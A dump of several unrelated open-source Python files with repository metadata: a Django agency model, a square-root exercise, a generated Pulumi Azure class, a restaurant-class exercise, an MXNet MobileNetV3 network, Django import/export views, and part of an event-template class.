] | permissive | Violet26/usaspending-api | 40e424c333c59289a2d76db4274e1637f2fcea7c | 3e2b54662bb27217f4af223d429b09c112a01a5a | refs/heads/dev | 2022-12-15T22:04:36.837754 | 2020-02-14T18:20:21 | 2020-02-14T18:20:21 | 241,180,147 | 0 | 0 | CC0-1.0 | 2022-12-08T06:22:57 | 2020-02-17T18:35:00 | null | UTF-8 | Python | false | false | 682 | py | from django.db import models
class ToptierAgency(models.Model):
toptier_agency_id = models.AutoField(primary_key=True)
create_date = models.DateTimeField(auto_now_add=True)
update_date = models.DateTimeField(auto_now=True)
toptier_code = models.TextField(db_index=True, unique=True)
abbreviation = models.TextField(blank=True, null=True)
name = models.TextField(db_index=True)
mission = models.TextField(blank=True, null=True)
website = models.URLField(blank=True, null=True)
justification = models.URLField(blank=True, null=True)
icon_filename = models.TextField(blank=True, null=True)
class Meta:
db_table = "toptier_agency"
| [
"barden_kirk@bah.com"
] | barden_kirk@bah.com |
bca22854600441942d4c3a0acba4c13b9361eaf3 | 8f19107b3fb4dae9114f6aec3ed448665742d87d | /squareroot.py | 656577af68fa5b2d4550e47b3f69a1484c4e2280 | [] | no_license | Munster2020/HDIP_CSDA | a5e7f8f3fd3f3d4b92a2c9a32915d8152af87de6 | ab21b21849e4efa0a26144fcbe877f6fb6e17a2f | refs/heads/master | 2020-12-14T13:24:14.961945 | 2020-03-25T21:09:13 | 2020-03-25T21:09:13 | 234,757,410 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,523 | py | # Created by: Brian Shortiss
# Created on: 29 February 2020
# Write a program that takes a positive floating-point number as input
# and outputs an approximation of its square root. You should create a
# function called sqrt that does this.
# Sources:
# https://en.wikipedia.org/wiki/Newton%27s_method
# https://www.cs.swarthmore.edu/~grace/cs21/f14/notes/SampleProblems.html
# https://github.com/codevscolor/codevscolor/blob/master/python/find_squareroot.py
# https://stackoverflow.com/questions/8347435/sqrt-takes-exactly-2-arguments-1-given
# https://medium.com/@surajregmi/how-to-calculate-the-square-root-of-a-number-newton-raphson-method-f8007714f64
# https://www.youtube.com/watch?v=tUFzOLDuvaE
# Asks the user to enter a postive floating-point number.
number = float(input("Enter a postive floating-point number to find an approximation of it's square root : "))
# Creates a function to calculate an approximation of
# it's square root using Newton's Method. Runs Newtons Method
# over and over until we get closest approximation.
def sqrt (num, error=0.00001): # Terminating Condition sets an erro parameter, this can be adjusted
guess = num # The first guess
diff = 999999999
while diff > error:
newGuess = guess - ((guess**2 - num) / (2*guess)) # Newton's Method
diff = newGuess - guess # Could be positive or negative
if diff < 0: # The if statement flips negative to positive
diff *= -1
guess = newGuess
return guess
print (sqrt (number)) | [
"g00387820@gmit.ie"
] | g00387820@gmit.ie |
36ef2e86187829ed5ae2b132e41bef8f08740314 | 5e6d8b9989247801718dd1f10009f0f7f54c1eb4 | /sdk/python/pulumi_azure_native/compute/v20210701/gallery_application_version.py | 85870dafc661c246411261654d85f997d3480818 | [
"BSD-3-Clause",
"Apache-2.0"
] | permissive | vivimouret29/pulumi-azure-native | d238a8f91688c9bf09d745a7280b9bf2dd6d44e0 | 1cbd988bcb2aa75a83e220cb5abeb805d6484fce | refs/heads/master | 2023-08-26T05:50:40.560691 | 2021-10-21T09:25:07 | 2021-10-21T09:25:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,510 | py | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
from . import outputs
from ._enums import *
from ._inputs import *
__all__ = ['GalleryApplicationVersionArgs', 'GalleryApplicationVersion']
@pulumi.input_type
class GalleryApplicationVersionArgs:
def __init__(__self__, *,
gallery_application_name: pulumi.Input[str],
gallery_name: pulumi.Input[str],
publishing_profile: pulumi.Input['GalleryApplicationVersionPublishingProfileArgs'],
resource_group_name: pulumi.Input[str],
gallery_application_version_name: Optional[pulumi.Input[str]] = None,
location: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None):
"""
The set of arguments for constructing a GalleryApplicationVersion resource.
:param pulumi.Input[str] gallery_application_name: The name of the gallery Application Definition in which the Application Version is to be created.
:param pulumi.Input[str] gallery_name: The name of the Shared Application Gallery in which the Application Definition resides.
:param pulumi.Input['GalleryApplicationVersionPublishingProfileArgs'] publishing_profile: The publishing profile of a gallery image version.
:param pulumi.Input[str] resource_group_name: The name of the resource group.
:param pulumi.Input[str] gallery_application_version_name: The name of the gallery Application Version to be created. Needs to follow semantic version name pattern: The allowed characters are digit and period. Digits must be within the range of a 32-bit integer. Format: <MajorVersion>.<MinorVersion>.<Patch>
:param pulumi.Input[str] location: Resource location
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Resource tags
"""
pulumi.set(__self__, "gallery_application_name", gallery_application_name)
pulumi.set(__self__, "gallery_name", gallery_name)
pulumi.set(__self__, "publishing_profile", publishing_profile)
pulumi.set(__self__, "resource_group_name", resource_group_name)
if gallery_application_version_name is not None:
pulumi.set(__self__, "gallery_application_version_name", gallery_application_version_name)
if location is not None:
pulumi.set(__self__, "location", location)
if tags is not None:
pulumi.set(__self__, "tags", tags)
@property
@pulumi.getter(name="galleryApplicationName")
def gallery_application_name(self) -> pulumi.Input[str]:
"""
The name of the gallery Application Definition in which the Application Version is to be created.
"""
return pulumi.get(self, "gallery_application_name")
@gallery_application_name.setter
def gallery_application_name(self, value: pulumi.Input[str]):
pulumi.set(self, "gallery_application_name", value)
@property
@pulumi.getter(name="galleryName")
def gallery_name(self) -> pulumi.Input[str]:
"""
The name of the Shared Application Gallery in which the Application Definition resides.
"""
return pulumi.get(self, "gallery_name")
@gallery_name.setter
def gallery_name(self, value: pulumi.Input[str]):
pulumi.set(self, "gallery_name", value)
@property
@pulumi.getter(name="publishingProfile")
def publishing_profile(self) -> pulumi.Input['GalleryApplicationVersionPublishingProfileArgs']:
"""
The publishing profile of a gallery image version.
"""
return pulumi.get(self, "publishing_profile")
@publishing_profile.setter
def publishing_profile(self, value: pulumi.Input['GalleryApplicationVersionPublishingProfileArgs']):
pulumi.set(self, "publishing_profile", value)
@property
@pulumi.getter(name="resourceGroupName")
def resource_group_name(self) -> pulumi.Input[str]:
"""
The name of the resource group.
"""
return pulumi.get(self, "resource_group_name")
@resource_group_name.setter
def resource_group_name(self, value: pulumi.Input[str]):
pulumi.set(self, "resource_group_name", value)
@property
@pulumi.getter(name="galleryApplicationVersionName")
def gallery_application_version_name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the gallery Application Version to be created. Needs to follow semantic version name pattern: The allowed characters are digit and period. Digits must be within the range of a 32-bit integer. Format: <MajorVersion>.<MinorVersion>.<Patch>
"""
return pulumi.get(self, "gallery_application_version_name")
@gallery_application_version_name.setter
def gallery_application_version_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "gallery_application_version_name", value)
@property
@pulumi.getter
def location(self) -> Optional[pulumi.Input[str]]:
"""
Resource location
"""
return pulumi.get(self, "location")
@location.setter
def location(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "location", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
Resource tags
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags", value)
class GalleryApplicationVersion(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
gallery_application_name: Optional[pulumi.Input[str]] = None,
gallery_application_version_name: Optional[pulumi.Input[str]] = None,
gallery_name: Optional[pulumi.Input[str]] = None,
location: Optional[pulumi.Input[str]] = None,
publishing_profile: Optional[pulumi.Input[pulumi.InputType['GalleryApplicationVersionPublishingProfileArgs']]] = None,
resource_group_name: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
__props__=None):
"""
Specifies information about the gallery Application Version that you want to create or update.
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] gallery_application_name: The name of the gallery Application Definition in which the Application Version is to be created.
:param pulumi.Input[str] gallery_application_version_name: The name of the gallery Application Version to be created. Needs to follow semantic version name pattern: The allowed characters are digit and period. Digits must be within the range of a 32-bit integer. Format: <MajorVersion>.<MinorVersion>.<Patch>
:param pulumi.Input[str] gallery_name: The name of the Shared Application Gallery in which the Application Definition resides.
:param pulumi.Input[str] location: Resource location
:param pulumi.Input[pulumi.InputType['GalleryApplicationVersionPublishingProfileArgs']] publishing_profile: The publishing profile of a gallery image version.
:param pulumi.Input[str] resource_group_name: The name of the resource group.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Resource tags
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: GalleryApplicationVersionArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Specifies information about the gallery Application Version that you want to create or update.
:param str resource_name: The name of the resource.
:param GalleryApplicationVersionArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(GalleryApplicationVersionArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
gallery_application_name: Optional[pulumi.Input[str]] = None,
gallery_application_version_name: Optional[pulumi.Input[str]] = None,
gallery_name: Optional[pulumi.Input[str]] = None,
location: Optional[pulumi.Input[str]] = None,
publishing_profile: Optional[pulumi.Input[pulumi.InputType['GalleryApplicationVersionPublishingProfileArgs']]] = None,
resource_group_name: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = GalleryApplicationVersionArgs.__new__(GalleryApplicationVersionArgs)
if gallery_application_name is None and not opts.urn:
raise TypeError("Missing required property 'gallery_application_name'")
__props__.__dict__["gallery_application_name"] = gallery_application_name
__props__.__dict__["gallery_application_version_name"] = gallery_application_version_name
if gallery_name is None and not opts.urn:
raise TypeError("Missing required property 'gallery_name'")
__props__.__dict__["gallery_name"] = gallery_name
__props__.__dict__["location"] = location
if publishing_profile is None and not opts.urn:
raise TypeError("Missing required property 'publishing_profile'")
__props__.__dict__["publishing_profile"] = publishing_profile
if resource_group_name is None and not opts.urn:
raise TypeError("Missing required property 'resource_group_name'")
__props__.__dict__["resource_group_name"] = resource_group_name
__props__.__dict__["tags"] = tags
__props__.__dict__["name"] = None
__props__.__dict__["provisioning_state"] = None
__props__.__dict__["replication_status"] = None
__props__.__dict__["type"] = None
alias_opts = pulumi.ResourceOptions(aliases=[pulumi.Alias(type_="azure-nextgen:compute/v20210701:GalleryApplicationVersion"), pulumi.Alias(type_="azure-native:compute:GalleryApplicationVersion"), pulumi.Alias(type_="azure-nextgen:compute:GalleryApplicationVersion"), pulumi.Alias(type_="azure-native:compute/v20190301:GalleryApplicationVersion"), pulumi.Alias(type_="azure-nextgen:compute/v20190301:GalleryApplicationVersion"), pulumi.Alias(type_="azure-native:compute/v20190701:GalleryApplicationVersion"), pulumi.Alias(type_="azure-nextgen:compute/v20190701:GalleryApplicationVersion"), pulumi.Alias(type_="azure-native:compute/v20191201:GalleryApplicationVersion"), pulumi.Alias(type_="azure-nextgen:compute/v20191201:GalleryApplicationVersion"), pulumi.Alias(type_="azure-native:compute/v20200930:GalleryApplicationVersion"), pulumi.Alias(type_="azure-nextgen:compute/v20200930:GalleryApplicationVersion")])
opts = pulumi.ResourceOptions.merge(opts, alias_opts)
super(GalleryApplicationVersion, __self__).__init__(
'azure-native:compute/v20210701:GalleryApplicationVersion',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None) -> 'GalleryApplicationVersion':
"""
Get an existing GalleryApplicationVersion resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = GalleryApplicationVersionArgs.__new__(GalleryApplicationVersionArgs)
__props__.__dict__["location"] = None
__props__.__dict__["name"] = None
__props__.__dict__["provisioning_state"] = None
__props__.__dict__["publishing_profile"] = None
__props__.__dict__["replication_status"] = None
__props__.__dict__["tags"] = None
__props__.__dict__["type"] = None
return GalleryApplicationVersion(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def location(self) -> pulumi.Output[str]:
"""
Resource location
"""
return pulumi.get(self, "location")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
Resource name
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> pulumi.Output[str]:
"""
The provisioning state, which only appears in the response.
"""
return pulumi.get(self, "provisioning_state")
@property
@pulumi.getter(name="publishingProfile")
def publishing_profile(self) -> pulumi.Output['outputs.GalleryApplicationVersionPublishingProfileResponse']:
"""
The publishing profile of a gallery image version.
"""
return pulumi.get(self, "publishing_profile")
@property
@pulumi.getter(name="replicationStatus")
def replication_status(self) -> pulumi.Output['outputs.ReplicationStatusResponse']:
"""
This is the replication status of the gallery image version.
"""
return pulumi.get(self, "replication_status")
@property
@pulumi.getter
def tags(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
"""
Resource tags
"""
return pulumi.get(self, "tags")
@property
@pulumi.getter
def type(self) -> pulumi.Output[str]:
"""
Resource type
"""
return pulumi.get(self, "type")
| [
"noreply@github.com"
] | noreply@github.com |
050fbf37649611034d2d17fa1d8f6eaaec527045 | 99b784550a6d306147c022c8d829800b0fbb8c68 | /Part_1_Basics/Chapter_9_Classes/number_served.py | c4bf3cff3db3a73bcf0555f68427754403f58a40 | [] | no_license | apuya/python_crash_course | 116d6598f656d8fed0b4184edbce8e996cd0f564 | 0b2e8a6e9849a198cfb251706500a919d6f51fe7 | refs/heads/main | 2023-06-03T22:41:03.203889 | 2021-06-16T04:07:28 | 2021-06-16T04:07:28 | 367,812,531 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,282 | py | # Python Crash Course: A Hands-On, Project-Based Introduction To Programming
#
# Name: Mark Lester Apuya
# Date: 06/12/2021
#
# Chapter 9: Classes
#
# Exercise 9.4 Number Served:
# Start with your program from Exercise 9-1 (page 162). Add an attribute
# called number_served with a default value of 0. Create an instance called
# restaurant from this class. Print the number of customers the restaurant has
# served, and then change this value and print it again.
# Add a method called set_number_served() that lets you set the number of
# customers that have been served. Call this method with a new number and print
# the value again.
# Add a method called increment_number_served() that lets you increment the
# number of customers who’ve been served. Call this method with any number you
# like that could represent how many customers were served in, say, a day of
# business.
class Restaurant:
"""
Restaurant information.
"""
def __init__(self, restaurant_name, cuisine_type):
"""
Initialize restuarant name and cuisine type
"""
self.restaurant_name = restaurant_name
self.cuisine_type = cuisine_type
self.number_served = 0
def discribe_restaurant(self):
"""
Prints restaurant information.
"""
print(f"\n{self.restaurant_name} serves {self.cuisine_type}")
def open_restaurant(self):
"""
Prints that the restaurant is open.
"""
print(f"\n{self.restaurant_name} is open.")
def set_number_served(self, number_served):
"""
Set the number of customers served.
"""
self.number_served = number_served
def increment_number_served(self, number_served):
"""
Increment the number of customers who have been served.
"""
self.number_served += number_served
restaurant = Restaurant('Olive Garden', 'Italian')
restaurant.discribe_restaurant()
print(f"\nNumber served: {restaurant.number_served}")
restaurant.number_served = 22
print(f"\nNumber served: {restaurant.number_served}")
restaurant.set_number_served(20)
print(f"\nNumber served: {restaurant.number_served}")
restaurant.increment_number_served(2)
print(f"\nNumber served: {restaurant.number_served}") | [
"contact@mapuya.com"
] | contact@mapuya.com |
58d2f98a4c78f4b9506164627358da2605c36583 | 6bb3a6087257094c963a819cba72ff122eb526b1 | /model/mxnet_/mobilenetv3.py | 63c0bf7d5664ca36ca24ddd9581c497ef2fa2e43 | [] | no_license | manhngodh/spdoor | 67efa2d23514134626df15de820f25d774043d18 | f790a3ede681f5c3921a891f862066350a0ecc02 | refs/heads/master | 2022-12-14T19:48:16.591183 | 2020-09-11T09:59:18 | 2020-09-11T09:59:18 | 293,794,308 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,156 | py | import math
import mxnet as mx
import mxnet.ndarray as nd
import mxnet.gluon as gluon
import mxnet.gluon.nn as nn
import mxnet.autograd as ag
# import symbol_utils
def make_divisible(x, divisible_by=8):
import numpy as np
return int(np.ceil(x * 1. / divisible_by) * divisible_by)
# def adaptiveAvgPool(inputsz, outputsz):
# import numpy as np
# s = np.floor(inputsz/outputsz).astype(np.int32)
# k = inputsz-(outputsz-1)*s
# return nn.AvgPool2D((k, k), s)
class AdaptiveAvgPool2D(nn.HybridBlock):
def __init__(self, output_size):
super(AdaptiveAvgPool2D, self).__init__()
self.output_size = output_size
def hybrid_forward(self, F, x):
return F.contrib.AdaptiveAvgPooling2D(x, self.output_size)
class ReLU6(nn.HybridBlock):
def __init__(self, **kwargs):
super(ReLU6, self).__init__(**kwargs)
def hybrid_forward(self, F, x):
return F.clip(x, 0, 6)
class HSwish(nn.HybridBlock):
def __init__(self):
super(HSwish, self).__init__()
def hybrid_forward(self, F, x):
return x * F.clip(x + 3.0, 0, 6) / 6.0
class HSigmoid(nn.HybridBlock):
def __init__(self):
super(HSigmoid, self).__init__()
def hybrid_forward(self, F, x):
return F.clip(x + 3.0, 0, 6) / 6.0
class SEBlock(nn.HybridBlock):
r"""SEBlock from `"Aggregated Residual Transformations for Deep Neural Network"
<http://arxiv.org/abs/1611.05431>`_ paper.
Parameters
----------
cardinality: int
Number of groups
bottleneck_width: int
Width of bottleneck block
stride : int
Stride size.
downsample : bool, default False
Whether to downsample the input.
"""
def __init__(self, channels, cardinality, bottleneck_width, stride,
downsample=False, **kwargs):
super(SEBlock, self).__init__(**kwargs)
D = int(math.floor(channels * (bottleneck_width / 64)))
group_width = cardinality * D
self.body = nn.HybridSequential(prefix='')
self.body.add(nn.Conv2D(group_width // 2, kernel_size=1, use_bias=False))
self.body.add(nn.BatchNorm())
self.body.add(nn.Activation('relu'))
self.body.add(nn.Conv2D(group_width, kernel_size=3, strides=stride, padding=1,
use_bias=False))
self.body.add(nn.BatchNorm())
self.body.add(nn.Activation('relu'))
self.body.add(nn.Conv2D(channels * 4, kernel_size=1, use_bias=False))
self.body.add(nn.BatchNorm())
self.se = nn.HybridSequential(prefix='')
self.se.add(nn.Dense(channels // 4, use_bias=False))
self.se.add(nn.Activation('relu'))
self.se.add(nn.Dense(channels * 4, use_bias=False))
self.se.add(nn.Activation('sigmoid'))
if downsample:
self.downsample = nn.HybridSequential(prefix='')
self.downsample.add(nn.Conv2D(channels * 4, kernel_size=1, strides=stride,
use_bias=False))
self.downsample.add(nn.BatchNorm())
else:
self.downsample = None
def hybrid_forward(self, F, x):
residual = x
x = self.body(x)
w = F.contrib.AdaptiveAvgPooling2D(x, output_size=1)
w = self.se(w)
x = F.broadcast_mul(x, w.expand_dims(axis=2).expand_dims(axis=2))
if self.downsample:
residual = self.downsample(residual)
x = F.Activation(x + residual, act_type='relu')
return x
class SEModule(nn.HybridBlock):
def __init__(self, channel, reduction=4):
super(SEModule, self).__init__()
# self.avg_pool = nn.contrib.AdaptiveAvgPooling2D()
self.fc = nn.HybridSequential()
self.fc.add(nn.Conv2D(channel // reduction, kernel_size=1, padding=0, use_bias=False),
nn.Activation("relu"),
nn.Conv2D(channel, kernel_size=1, padding=0, use_bias=False),
HSigmoid())
def hybrid_forward(self, F, x):
w = F.contrib.AdaptiveAvgPooling2D(x, output_size=1)
w = self.fc(w)
x = F.broadcast_mul(x, w)
return x
def conv_bn(channels, filter_size, stride, activation=nn.Activation('relu')):
out = nn.HybridSequential()
out.add(
nn.Conv2D(channels, 3, stride, 1, use_bias=False),
nn.BatchNorm(scale=True),
activation
)
return out
def conv_1x1_bn(channels, activation=nn.Activation('relu')):
out = nn.HybridSequential()
out.add(
nn.Conv2D(channels, 1, 1, 0, use_bias=False),
nn.BatchNorm(scale=True),
activation
)
return out
class MobileBottleNeck(nn.HybridBlock):
def __init__(self, channels, kernel, stride, exp, se=False, short_cut=True, act="RE"):
super(MobileBottleNeck, self).__init__()
self.out = nn.HybridSequential()
assert stride in [1, 2]
assert kernel in [3, 5]
assert act in ["RE", "HS"]
padding = (kernel - 1) // 2
self.short_cut = short_cut
conv_layer = nn.Conv2D
norm_layer = nn.BatchNorm
activation = nn.Activation('relu') if act == "RE" else HSwish()
if se:
SELayer = SEModule(exp)
self.out.add(
conv_layer(exp, 1, 1, 0, use_bias=False),
norm_layer(scale=True),
activation,
conv_layer(exp, kernel, stride, padding, groups=exp, use_bias=False),
norm_layer(scale=True),
############################
SELayer,
############################
activation,
conv_layer(channels, 1, 1, 0, use_bias=False),
norm_layer(scale=True),
# SELayer(exp, )
)
else:
self.out.add(
conv_layer(exp, 1, 1, 0, use_bias=False),
norm_layer(scale=True),
activation,
conv_layer(exp, kernel, stride, padding, groups=exp, use_bias=False),
norm_layer(scale=True),
activation,
conv_layer(channels, 1, 1, 0, use_bias=False),
norm_layer(scale=True),
)
def hybrid_forward(self, F, x, **kwargs):
return x + self.out(x) if self.short_cut else self.out(x)
class MobileNetV3(nn.HybridBlock):
def __init__(self, classes=1000, width_mult=1.0, mode="large", **kwargs):
super(MobileNetV3, self).__init__()
assert mode in ["large", "small"]
# assert input_size%32 == 0
# self.w = width_mult
setting = []
last_channel = 1280
input_channel = 16
if mode == "large":
setting = [
# k, exp, c, se, nl, s, short_cut
[3, 16, 16, False, 'RE', 1, False],
[3, 64, 24, False, 'RE', 2, False],
[3, 72, 24, False, 'RE', 1, True],
[5, 72, 40, True, 'RE', 2, False],
[5, 120, 40, True, 'RE', 1, True],
[5, 120, 40, True, 'RE', 1, True],
[3, 240, 80, False, 'HS', 2, False],
[3, 200, 80, False, 'HS', 1, True],
[3, 184, 80, False, 'HS', 1, True],
[3, 184, 80, False, 'HS', 1, True],
[3, 480, 112, True, 'HS', 1, False],
[3, 672, 112, True, 'HS', 1, True],
[5, 672, 112, True, 'HS', 1, True],
[5, 672, 160, True, 'HS', 2, False],
[5, 960, 160, True, 'HS', 1, True],
]
else:
setting = [
# k, exp, c, se, nl, s,
[3, 16, 16, True, 'RE', 2, False],
[3, 72, 24, False, 'RE', 2, False],
[3, 88, 24, False, 'RE', 1, True],
[5, 96, 40, True, 'HS', 2, False], # stride = 2, paper set it to 1 by error
[5, 240, 40, True, 'HS', 1, True],
[5, 240, 40, True, 'HS', 1, True],
[5, 120, 48, True, 'HS', 1, False],
[5, 144, 48, True, 'HS', 1, True],
[5, 288, 96, True, 'HS', 2, False],
[5, 576, 96, True, 'HS', 1, True],
[5, 576, 96, True, 'HS', 1, True],
]
self.last_channel = make_divisible(last_channel * width_mult) if width_mult > 1.0 else last_channel
self.layers = [conv_bn(input_channel, 3, 2, activation=HSwish())]
for kernel_size, exp, channel, se, act, s, short_cut in setting:
# short_cut = (s == 1)
output_channel = make_divisible(channel * width_mult)
exp_channel = make_divisible(exp * width_mult)
self.layers.append(MobileBottleNeck(output_channel, kernel_size, s, exp_channel, se, short_cut, act))
if mode == "large":
last_conv = make_divisible(960 * width_mult)
self.layers.append(conv_1x1_bn(last_channel, HSwish()))
self.layers.append(AdaptiveAvgPool2D(output_size=1))
self.layers.append(HSwish())
self.layers.append(nn.Conv2D(last_channel, 1, 1, 0))
self.layers.append(HSwish())
else:
last_conv = make_divisible(576 * width_mult)
self.layers.append(conv_1x1_bn(last_channel, HSwish()))
self.layers.append(SEModule(last_channel))
self.layers.append(AdaptiveAvgPool2D(output_size=1))
self.layers.append(HSwish())
self.layers.append(conv_1x1_bn(last_channel, HSwish()))
self._layers = nn.HybridSequential()
self._layers.add(*self.layers)
def hybrid_forward(self, F, x):
return self._layers(x)
def get_symbol(num_classes=256, mode="small", **kwargs):
net = MobileNetV3(mode=mode)
data = mx.sym.Variable(name='data')
data = (data - 127.5)
data = data * 0.0078125
body = net(data)
print(body)
import model.mxnet_.symbol_utils as symbol_utils
body1 = symbol_utils.get_fc1(body, num_classes, "E")
return body1
if __name__ == "__main__":
body = get_symbol()
print(body)
| [
"manhngodh@gmail.com"
] | manhngodh@gmail.com |
09efc6dcd913ebfbe5d6b1b5e95d76b38c620dc4 | b87f21f6a2dcf050e87b71c57e503f5b565c7138 | /IMPORT_Pro/make_own_app/views.py | 1bec47e06f6566b194c0566550834cf9d0de0bd0 | [] | no_license | anjanikumar496/Django-Import-Export | 62e613c9c9f91484f83218f171fb92b8a7a96b2c | ac259283e3ad554fe45da07e064239c0ee804a8c | refs/heads/master | 2020-11-27T10:52:19.142180 | 2019-12-21T15:58:56 | 2019-12-21T15:58:56 | 229,411,188 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,664 | py | from django.shortcuts import render
from django.http import HttpResponse
# Create your views here.
from tablib import Dataset
from .resources import *
from .models import Person
def Simple_Upload(request):
if request.method == 'POST':
person_resource = PersonResource()
dataset = Dataset()
new_persons = request.FILES['myfile']
imported_data = dataset.load(new_persons.read().decode('utf-8'), format='csv')
result = person_resource.import_data(dataset, dry_run=True)
if not result.has_errors():
person_resource.import_data(dataset, dry_run=False)
return render(request, 'import.html')
def File_Export(request):
person_resource = PersonResource()
dataset = person_resource.export()
# For the JSON Exporting File
response = HttpResponse(dataset.json, content_type='application/json')
response['Content-Disposition'] = 'attachment; filename="persons.json"'
# For the XLS Exporting File
response = HttpResponse(dataset.xls, content_type='application/vnd.ms-excel')
response['Content-Disposition'] = 'attachment; filename="persons.xls"'
# For the CSV Exporting File
response = HttpResponse(dataset.csv, content_type='text/csv')
response['Content-Disposition'] = 'attachment; filename="persons.csv"'
return response
# For the Filtering OF The Data we USe Bascially
def Data_Set_Filter(request):
person_resource = PersonResource()
queryset = Person.objects.filter(location='Jyväskyla')
dataset = person_resource.export(queryset)
print(dataset)
return render(request, 'import.html')
# HttpResponse(dataset.yaml) | [
"anjanikumar496@gmail.com"
] | anjanikumar496@gmail.com |
20eb7196fe3b002591b7b276815778936aebeb54 | 4eb76ddbe2bf6d7fb8ee791dcaa1dfaccd4a09b0 | /jitai/events/EventTemplate.py | e85c491ebb1b21082dabbe5b4fef53d7216dc3b1 | [] | no_license | koike-ya/research | 3cae0be17a8871d5782842510676c05a75627c49 | 3ff99c56c8e5d6c57ee65f1bca2431f3dc6f6593 | refs/heads/master | 2021-10-12T03:13:20.645738 | 2019-01-26T07:12:58 | 2019-01-26T07:12:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,138 | py | from abc import ABC
from datetime import datetime, timedelta
import pandas as pd
from jitai.src.utils import set_hour_minute
class EventTemplate(ABC):
def __init__(self, param, user_info, ema, logger):
self.param = param
self.ema = ema
self.name = param["condition_name"]
self.ema_content = param["ema_content"]
self.user_info = user_info
self.logger = logger
self.exists = param["exists"]
self.ema_time = self.param["ema_time"] # param["ema_time]"の値はdict
def _init_ema_content(self):
if not self.ema_content == "none":
self.threshold = self.param["threshold"]
self.more_or_less = self.param["more_or_less"]
def _init_ema_time(self):
# 時間に関する設定
if list(self.ema_time.keys())[0] == "set_time":
from_ = datetime.strptime(self.ema_time["set_time"]["from"], "%H:%M")
self.ema_from_ = set_hour_minute(datetime.today(), from_)
to = datetime.strptime(self.ema_time["set_time"]["to"], "%H:%M")
self.ema_to = set_hour_minute(datetime.today(), to)
if list(self.ema_time.keys())[0] == "interval":
t = datetime.strptime(self.ema_time["interval"]["value"], "%H:%M")
self.ema_from_ = datetime.today() - timedelta(hours=t.hour, minutes=t.minute)
self.ema_to = datetime.today()
def _validate_params(self):
# TODO 与えられたパラメータが適切でないときにエラーを返す
# 例えば、こちらが想定するquestionの中に、self.ema_contentで指定された要素がない場合とか
pass
def _extract_about_time(self):
self.ema = self.ema[(self.ema["end"] >= self.ema_from_) & (self.ema["end"] <= self.ema_to)]
def _ema_content_not_none(self):
# このメソッドはDAMSの項目のみ有効, それ以外の場合はoverrideすること
content_df = self.ema[self.ema["question"] == self.ema_content]
content_df = content_df.astype({"answer": int})
if not content_df.empty:
if self.more_or_less == "more":
self.ema = content_df[content_df["answer"] >= self.threshold]
elif self.more_or_less == "less":
self.ema = content_df[content_df["answer"] < self.threshold]
else:
self.ema = pd.DataFrame(columns=self.ema)
def get_depend_class_last_ema_time(self):
# TODO 要テスト. use=Falseに対して、これで本当にロジックが通るのか.
if hasattr(self.depend_class, "use"):
res = self.depend_class.ema.run()
depend_ema = self.depend_class.ema
if depend_ema.empty:
self.ema = pd.DataFrame()
return 0
depend_ema.reset_index(drop=True, inplace=True)
return depend_ema.loc[depend_ema.shape[0] - 1, "end"]
def _depend_condition(self):
# 従属関係の条件はここに記述する.
self.ema_from_ = self.get_depend_class_last_ema_time()
t = datetime.strptime(self.param["ema_time"]["interval"]["value"], "%H:%M")
